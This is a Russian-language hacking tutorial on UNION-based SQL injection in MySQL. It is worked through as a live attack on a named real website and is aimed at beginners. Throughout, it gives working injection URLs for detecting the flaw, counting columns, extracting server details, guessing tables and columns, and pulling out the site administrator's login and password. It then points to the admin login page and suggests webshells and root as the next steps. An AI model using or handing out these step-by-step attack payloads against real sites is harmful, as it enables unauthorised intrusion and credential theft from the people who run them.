По названию статьи понятно, что речь пойдет сейчас о такой уязвимости, как SQL инъекция. То что я здесь напишу совсем не ново, очень много статей написано по этому поводу. Но в тоже время, каждый пользуется какими-то своими приемами и у каждого свой сценарий использования этой уязвимости. Я просто хочу показать как этим пользуюсь я, и может быть кто-то, кто прочитает эту статью найдет для себя что-то новое ( по крайней мере я на это надеюсь) или вспомнит старое. Статья написана для новичков у которых еще не сформировались свои наработки и привычки использования SQL инъекций. Здесь я не планирую приводить конкретных примеров по взлому конкретных сайтов, т.к. информация представленная здесь является общей и сборной (конкретный пример SQL инъекции описан в моей статье “Добываем себе красивую аську и не только”), но не факт, что этого не будет. Да, забыл сказать, все описанное мною относится к MySQL версии 4 и выше.

Обнаружение инъекции

Для обнаружения инъекции я чаще всего пользуюсь манипулированием с числовыми параметрами в GET запросах, например:

http://una.ge/eng/artdetail.php?group=a … amp;id=102
(Ну вот, опять без примеров не получается)

Здесь параметр id – числовой и равен 102
После выполнения этого запроса мы увидим страничку с заголовком секции «UN Session in Georgian Parliament». Проверим этот параметр на уязвимость, но вначале попробуем вот такой запрос:

http://una.ge/eng/artdetail.php?group=a … amp;id=101

Заголовок секции теперь «'The Messenger'-World Refugee Day». Возвращаемся на предыдущую секцию (id=102) с заголовком «UN Session in Georgian Parliament». И вот тут уже проверяем на уязвимость, введем в параметре id не просто значение, а выражение 102-1, запрос в таком случае примет вид:

http://una.ge/eng/artdetail.php?group=a … p;id=102-1

В результате этого запроса мы попали на секцию «'The Messenger'-World Refugee Day», id которой равен 101. Что произошло? А произошло выполнение арифметического выражения 102-1=101, т.е. скрипт artdetail.php не отфильтровал выражение в значении параметра id, а выполнил его. Это и есть SQL инъекция.

Вставляем свое выражение и узнаем количество полей

Если у нас выполнилось выражение 102-1, значит мы можем вставить и другое выражение, которое будет нам гораздо полезнее, а нужно нам получить определенные сведения из базы данных. Для этого в SQL используется конструкция Select и «оператор» (извините, не знаю как еще обозвать) объединения запросов Union, а точнее Union select – это и есть конструкция объединения запросов. Еще в нашем выражении я буду использовать знак комментария /* (для MSSQL это двойное тире --, а комментарий /* надо обязательно закрывать */ ), все что идет после комментария скриптом соответственно не выполняется. А нужно это, потому что внутри скрипта на основании полученных данных формируется запрос к базе данных например:

Select * from news where sec_id=id and page=2

В моем запросе «and page=2» как минимум не нужен, а как максимум после внедренного мною в запрос выражения, приведет к неправильному отображению данных, а скорее всего к ошибке. И если я поставлю после id=102 знак комментария запрос сформированный скриптом будет таким:

Select * from news where sec_id=102 /* and page=2

Т.е. «and page=2» скрипт, а точнее уже SQL примет за комментарий и проигнорирует.
Теперь перейдем к Union Select. В третьих версиях MySQL эта конструкция вообще отсутствовала, но сейчас в основном распространены версии 4 и выше. Также некоторые отключают в настройках возможность использования такой конструкции, но это редкость, я видел такое только один раз и поскольку в данном примере есть возможность использования Union Select, я этим и воспользуюсь. Важно знать, что после Union Select нужно выбирать (прописать) такое же количество полей как и в первом запросе Select, иначе нам возвратится ошибка MySQL. Т.е. нам нужно узнать количество полей. Как это сделать? Есть два или более способов.

Способ 1

после нашего запроса я ввожу конструкцию Union Select и банально перебираю количество полей:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1/*

Такой запрос скорее всего выдаст ошибку или просто не отобразит данные, т.к. количество полей больше чем одно. Пробуем добавить в запрос еще поле:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2/*

Здесь тоже будет ошибка по тем же причинам. Так я каждый раз добавляю еще поле, пока данные не отобразятся корректно:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,3,4,5,6,7,8,9/*

Способ 2.

Я узнаю количество полей до того, как использую конструкцию Union Select c с помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 order by 5/*

не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 order by 13/*

Это выражение выполнится с ошибкой, т.к. 13 –го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее):

http://una.ge/eng/artdetail.php?group=a … amp;id=102 order by 8/*

Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 order by 10/*
Ошибка!. т.е количество полей или 8 или 9, остается только попробывать:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 order by 9/*

Ошибки нет. Т.о. мы узнали что количество полей равно 9.

Получаем определенную информацию.

Т.к. мы знаем что у нас 9 полей я могу составить работающее выражение:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,3,4,5,6,7,8,9/*

Цифры в таком выражении нам нужны для того, чтобы узнать значение какого поля отображается на странице, но иногда после выполнения запроса ни какое из перечисленных полей у не отображается, это произошло из-за того, что секция имеет свой определенный контент, а для того что бы увидеть нужную нам информацию надо выполнять запрос в секции, которая не имеет контента, т.е. в несуществующей секции. Резонно предположить, что такой секцией может быть секция -1, с чего я это взял думаю и так понятно. Но у нас отобразились цифры 3 и 5 это и есть номера полей с помощью которых я буду получать интересующие нас данные. Теперь я могу узнать версию MySQL, ввожу вместо цифры 3 в запросе функцию version():

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,version(),4,5,6,7,8,9/*

Смотрим, у нас теперь вместо 3 отобразилось 5.0.22 – это и есть версия MySQL, дальше получаем имя пользователя и сервер MySQL, для этого мне пригодится функция user():

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 01,2,user(),4,5,6,7,8,9/*

Результат: una_ge@localhost, ну и наконец имя базы данных database()

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,database(),4,5,6,7,8,9/*

Результат: una_ge

Узнаем интересующие нас данные

Итак, у нас есть запрос:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,3,4,5,6,7,8,9/*

Теперь я попробую узнать имя таблицы пользователей, делается это вставкой выражения from после нашего запроса а далее банальным перебором возможных вариантов. Если таблицы с предполагаемым именем не существует, мы получим ошибку, например:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,3,4,5,6,7,8,9 from blahblah/*

Не мудрствуя лукаво, я скажу что нужная нам таблица имеет имя user:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,3,4,5,6,7,8,9 from user/*

Этот запрос нам показал только то, что существует таблица user т.к. не привел к ошибке, но чтобы получить нужные данные нам теперь надо, так же, банальным перебором узнать имена полей. А для того чтобы данные отобразились, имена полей при переборе следует вставлять в 3 и 5 поле, т.к. они у нас непосредственно выводятся на экран, причем при несуществующих именах опять же будет выдаваться ошибка:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,blahblah,4,5,6,7,8,9 from user/*

зато при правильном имени поля мы увидим первое значение этого поля из таблицы а это обычно запись администратора, так и есть возьмем имя поля name

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,name,4,5,6,7,8,9 from user/*

Да так и есть первая запись у нас admin, а теперь попробуем имя поля passwd:

http://una.ge/eng/artdetail.php?group=a … amp;id=102 union select 1,2,passwd,4,5,6,7,8,9 from user/*

результат: webadmin.

теперь у нас есть логин и пароль администратора, это нам было и нужно и если мы сейчас зайдем на страничку:

http://una.ge/admineng/login.php

мы можем ввести полученные данные. Все!!! Цель достигнута. Что делать дальше? Учится, узнавать что такое webshell, root и т.д.


Изначально эта статья планировалась совсем по-другому, но так произошло и из информационной она перешла в раздел туториалов, не судите за это строго, жизнь продолжается и я еще напишу то что задумал.

Все материалы и примеры даны исключительно в ознакомительных целях и ответственность за использование этих материалов ложится полностью на вас. Большая просьба осторожнее и если вы неопытны лучше не пытаться (пока…) т.к. это все таки сайт организации объединенных наций.

Спасибо за прочтение, scipio
Карфаген должен быть разрушен…